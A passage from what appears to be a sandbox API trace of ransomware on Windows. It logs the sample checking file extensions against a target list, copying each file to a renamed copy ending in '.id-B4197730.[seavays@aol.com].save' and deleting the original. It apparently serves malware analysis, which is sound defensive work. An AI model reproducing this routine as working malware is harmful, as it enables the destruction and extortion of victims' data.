files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.600] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0068.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0068.600] lstrlenW (lpString=".doc") returned 4 [0068.600] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.600] lstrlenW (lpString=".docx") returned 5 [0068.600] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0068.600] lstrlenW (lpString=".pdf") returned 4 [0068.600] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.600] lstrlenW (lpString=".xls") returned 4 [0068.600] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.601] lstrlenW (lpString=".xlsx") returned 5 [0068.601] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0068.601] lstrlenW (lpString=".ppt") returned 4 [0068.601] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0068.601] lstrlenW (lpString=".zip") returned 4 [0068.601] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.601] lstrlenW (lpString=".rar") returned 4 [0068.601] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.601] lstrlenW (lpString=".bz2") returned 4 [0068.601] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.601] lstrlenW (lpString=".7z") returned 3 [0068.601] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0068.601] lstrlenW (lpString=".dbf") returned 4 [0068.601] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0068.601] lstrlenW (lpString=".1cd") returned 4 [0068.601] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0068.601] lstrlenW (lpString=".jpg") returned 4 [0068.601] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0068.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0068.601] lstrlenW (lpString=".doc") returned 4 [0068.601] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.601] lstrlenW (lpString=".docx") returned 5 [0068.601] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0068.601] lstrlenW (lpString=".pdf") returned 4 [0068.601] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.601] lstrlenW (lpString=".xls") returned 4 [0068.601] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.602] lstrlenW (lpString=".xlsx") returned 5 [0068.602] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0068.602] lstrlenW (lpString=".ppt") returned 4 [0068.602] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0068.602] lstrlenW (lpString=".zip") returned 4 [0068.602] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.602] lstrlenW (lpString=".rar") returned 4 [0068.602] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.602] lstrlenW (lpString=".bz2") returned 4 [0068.602] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.602] lstrlenW (lpString=".7z") returned 3 [0068.602] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0068.602] lstrlenW (lpString=".dbf") returned 4 [0068.602] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0068.602] lstrlenW (lpString=".1cd") returned 4 [0068.602] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0068.602] lstrlenW (lpString=".jpg") returned 4 [0068.602] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.602] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.602] lstrlenW (lpString="AppVIntegration.dll") returned 19 [0068.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0068.603] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=2118360) returned 1 [0068.603] CloseHandle (hObject=0x374) returned 1 [0068.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20 [0068.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.603] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[seavays@aol.com].save")) returned 1 [0068.604] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0068.604] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[seavays@aol.com].save"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 1 [0068.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0068.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0068.605] lstrlenW (lpString=".doc") returned 4 [0068.605] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.605] lstrlenW (lpString=".docx") returned 5 [0068.605] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0068.605] lstrlenW (lpString=".pdf") returned 4 [0068.605] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.605] lstrlenW (lpString=".xls") returned 4 [0068.605] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.605] lstrlenW (lpString=".xlsx") returned 5 [0068.605] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0068.605] lstrlenW (lpString=".ppt") returned 4 [0068.605] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0068.605] lstrlenW (lpString=".zip") returned 4 [0068.605] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.605] lstrlenW (lpString=".rar") returned 4 [0068.605] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.605] lstrlenW (lpString=".bz2") returned 4 [0068.605] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.605] lstrlenW (lpString=".7z") returned 3 [0068.605] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0068.605] lstrlenW (lpString=".dbf") returned 4 [0068.605] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0068.605] lstrlenW (lpString=".1cd") returned 4 [0068.605] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0068.605] lstrlenW (lpString=".jpg") returned 4 [0068.605] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0068.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0068.605] lstrlenW (lpString=".doc") returned 4 [0068.606] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.606] lstrlenW (lpString=".docx") returned 5 [0068.606] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0068.606] lstrlenW (lpString=".pdf") returned 4 [0068.606] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.606] lstrlenW (lpString=".xls") returned 4 [0068.606] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.606] lstrlenW (lpString=".xlsx") returned 5 [0068.606] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0068.606] lstrlenW (lpString=".ppt") returned 4 [0068.606] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0068.606] lstrlenW (lpString=".zip") returned 4 [0068.606] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.606] lstrlenW (lpString=".rar") returned 4 [0068.606] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.606] lstrlenW (lpString=".bz2") returned 4 [0068.606] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.606] lstrlenW (lpString=".7z") returned 3 [0068.606] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0068.606] lstrlenW (lpString=".dbf") returned 4 [0068.606] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0068.606] lstrlenW (lpString=".1cd") returned 4 [0068.606] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0068.606] lstrlenW (lpString=".jpg") returned 4 [0068.607] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.607] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.607] lstrlenW (lpString="AppVIsvApi.dll") returned 14 [0068.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0068.607] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=468696) returned 1 [0068.607] CloseHandle (hObject=0x374) returned 1 [0068.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 0x20 [0068.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0068.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0068.608] lstrlenW (lpString=".doc") returned 4 [0068.608] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.608] lstrlenW (lpString=".docx") returned 5 [0068.608] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0068.608] lstrlenW (lpString=".pdf") returned 4 [0068.608] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.608] lstrlenW (lpString=".xls") returned 4 [0068.608] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.608] lstrlenW (lpString=".xlsx") returned 5 [0068.608] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0068.608] lstrlenW (lpString=".ppt") returned 4 [0068.608] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0068.608] lstrlenW (lpString=".zip") returned 4 [0068.608] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.608] lstrlenW (lpString=".rar") returned 4 [0068.608] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.608] lstrlenW (lpString=".bz2") returned 4 [0068.608] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.608] lstrlenW (lpString=".7z") returned 3 [0068.608] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0068.608] lstrlenW (lpString=".dbf") returned 4 [0068.608] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0068.608] lstrlenW (lpString=".1cd") returned 4 [0068.608] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0068.608] lstrlenW (lpString=".jpg") returned 4 [0068.608] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0068.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0068.608] lstrlenW (lpString=".doc") returned 4 [0068.609] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.609] lstrlenW (lpString=".docx") returned 5 [0068.609] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0068.609] lstrlenW (lpString=".pdf") returned 4 [0068.609] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.609] lstrlenW (lpString=".xls") returned 4 [0068.609] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.609] lstrlenW (lpString=".xlsx") returned 5 [0068.609] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0068.609] lstrlenW (lpString=".ppt") returned 4 [0068.609] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0068.609] lstrlenW (lpString=".zip") returned 4 [0068.609] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.609] lstrlenW (lpString=".rar") returned 4 [0068.609] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.609] lstrlenW (lpString=".bz2") returned 4 [0068.609] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.609] lstrlenW (lpString=".7z") returned 3 [0068.609] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0068.609] lstrlenW (lpString=".dbf") returned 4 [0068.609] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0068.609] lstrlenW (lpString=".1cd") returned 4 [0068.609] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0068.609] lstrlenW (lpString=".jpg") returned 4 [0068.609] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.609] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.610] lstrlenW (lpString="AppvIsvStream32.dll") returned 19 [0068.610] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0068.610] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=396960) returned 1 [0068.610] CloseHandle (hObject=0x374) returned 1 [0068.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 0x20 [0068.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.616] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0068.616] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.616] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.616] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0068.616] GetLastError () returned 0x0 [0068.616] ReadFile (in: hFile=0x374, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x60ea0, lpOverlapped=0x0) returned 1 [0068.627] WriteFile (in: hFile=0x39c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x60eb0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x60eb0, lpOverlapped=0x0) returned 1 [0068.635] ReadFile (in: hFile=0x374, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.635] WriteFile (in: hFile=0x39c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xfa, lpOverlapped=0x0) returned 1 [0068.635] SetEndOfFile (hFile=0x39c) returned 1 [0068.635] CloseHandle (hObject=0x39c) returned 1 [0069.035] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.035] SetEndOfFile (hFile=0x374) returned 1 [0069.042] CloseHandle (hObject=0x374) returned 1 [0069.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0069.043] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 1 [0069.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0069.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0069.044] lstrlenW (lpString=".doc") returned 4 [0069.044] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0069.044] lstrlenW (lpString=".docx") returned 5 [0069.044] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0069.044] lstrlenW (lpString=".pdf") returned 4 [0069.044] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0069.044] lstrlenW (lpString=".xls") returned 4 [0069.044] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0069.044] lstrlenW (lpString=".xlsx") returned 5 [0069.044] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0069.044] lstrlenW (lpString=".ppt") returned 4 [0069.044] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0069.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0069.044] lstrlenW (lpString=".zip") returned 4 [0069.044] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0069.044] lstrlenW (lpString=".rar") returned 4 [0069.044] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0069.044] lstrlenW (lpString=".bz2") returned 4 [0069.044] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0069.044] lstrlenW (lpString=".7z") returned 3 [0069.044] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0069.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0069.044] lstrlenW (lpString=".dbf") returned 4 [0069.044] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0069.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0069.044] lstrlenW (lpString=".1cd") returned 4 [0069.044] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0069.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0069.044] lstrlenW (lpString=".jpg") returned 4 [0069.044] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0069.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0069.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0069.045] lstrlenW (lpString=".doc") returned 4 [0069.045] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0069.045] lstrlenW (lpString=".docx") returned 5 [0069.045] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0069.045] lstrlenW (lpString=".pdf") returned 4 [0069.045] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0069.045] lstrlenW (lpString=".xls") returned 4 [0069.045] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0069.045] lstrlenW (lpString=".xlsx") returned 5 [0069.045] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0069.045] lstrlenW (lpString=".ppt") returned 4 [0069.045] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0069.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0069.045] lstrlenW (lpString=".zip") returned 4 [0069.045] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0069.045] lstrlenW (lpString=".rar") returned 4 [0069.045] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0069.045] lstrlenW (lpString=".bz2") returned 4 [0069.045] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0069.045] lstrlenW (lpString=".7z") returned 3 [0069.045] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0069.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0069.045] lstrlenW (lpString=".dbf") returned 4 [0069.045] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0069.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0069.045] lstrlenW (lpString=".1cd") returned 4 [0069.045] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0069.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0069.045] lstrlenW (lpString=".jpg") returned 4 [0069.046] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0069.046] lstrcmpiW (lpString1=".exe", lpString2=".save") returned -1 [0069.046] lstrlenW (lpString="AppVShNotify.exe") returned 16 [0069.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft 